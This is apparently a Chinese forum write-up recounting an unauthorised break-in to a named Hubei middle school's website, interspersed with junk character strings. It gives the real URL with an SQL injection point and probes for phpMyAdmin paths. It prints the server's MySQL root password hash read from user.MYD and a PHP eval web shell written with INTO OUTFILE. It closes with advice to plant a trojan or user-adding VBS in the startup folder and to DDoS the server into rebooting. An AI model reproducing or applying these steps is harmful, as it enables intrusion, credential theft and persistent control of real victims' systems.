友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
: s2 E5 c9 a. g; L发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
' x" v3 `2 q3 D& U  t


常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：
) Y! K/ i: |: ~# \2 H

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
) u) S5 e) M4 f5 y( e1 I
. ]  ^7 z% }2 y1 s7 |试着爆绝对路径：
0 h4 y( ~: u6 Z" c! ]( S1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
. }( z4 c2 a; `: F# C0 s7./phpmyadmin/libraries/mcrypt.lib.php   
6 y' O0 b# m, O; \8./phpmyadmin/libraries/export/xls.php  

均不行...........................

/ U( Y1 E) A) [御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

/ y" t0 v0 K0 Z) ?" W# U$ }默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
% y6 |( z3 t4 E4 B9 u5 a
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

, J$ y4 d1 c8 H( w9 T- i8 shttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

% p+ ~$ B+ H4 E9 I' h) Z8 D) U; }自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

2 e, @& P( D  P; x6 R! m! F4 @3 e成功读到root密码：
/ k8 ~* f' o2 u" {. l
  T! q4 O' u0 d7 Q  ~17---- r(0072)
1 @' _# C9 o' m4 d18---- o(006f)
, \+ Q* D! D" I1 L19---- o(006f)
- u. l7 P# }+ D5 b% r& O; k20---- t(0074)
21---- *(002a)
22---- 8(0038)
1 F7 E& G/ r7 ~% p7 m. p! j23---- 2(0032)
( P4 C3 l1 c5 C24---- E(0045)
& m: w- n# b4 j/ X: A0 z" v0 d# T# _( T25---- 1(0031)
26---- C(0043)
27---- 5(0035)
) V2 T  @& U  [% _% w6 T/ [28---- 8(0038)
29---- 2(0032)
30---- 8(0038)
; T  j  h1 q& N2 i; t& X31---- A(0041)
32---- 9(0039)
33---- B(0042)
34---- 5(0035)
- k% \* Q' Y) {6 }! f. h35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
39---- 9(0039)
40---- 1(0031)
- D' y9 w- ~: q' n. d* @6 k41---- 1(0031)
42---- 5(0035)
: X/ V. h1 i) n43---- 3(0033)
44---- 5(0035)
6 `8 b8 H# O, s: ?! J45---- 9(0039)
- O& ]; C7 v5 Q5 M46---- 8(0038)
47---- F(0046)
48---- F(0046)
49---- 4(0034)
50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
55---- 4(0034)
56---- A(0041)
$ o! W/ N8 z0 O57---- B(0042)
, f5 A1 H! q8 B" w58---- *(0044)
9 d. F4 I8 j# Z6 N7 c/ _: U59---- *(0035)
4 `  T0 H5 L9 `% \. `4 [60---- *(0041)
61---- *0032)
4 z; A4 B) F: p( Z8 J
解密后成功登陆phpmyamin
' }) E8 ^# m! J* S$ R4 i2 h                          

                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

# a  y3 N) V: N成功执行，拿下shell，菜刀连接：

1 V+ h( b' {# m' b5 k8 M  {服务器不支持asp,aspx,php提权无果...................
/ |. V* j0 Q* Q8 X+ \
' U- p' q3 O6 |  ^! S3 l) g但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
. r( ]6 o) C! M! @

服务器上已经有个隐藏帐号了

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
admin
+ C8 k' z& b$ P, Q3 gAdministrator
slipper$
sqluser
8 N. H9 j: P+ j8 P6 n命令成功完成。
- J, _* l7 S  X5 n' C# B
9 B& `0 A4 A; L+ C8 g) U, i! N) _! v1 Y服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

ddos服务器重启，不然就只能坐等服务器重启了...............................
3 k* w8 F- Q$ @5 P' Y: g- z- c
      

  Z2 J: \! J' n- K1 Q" |  W

angel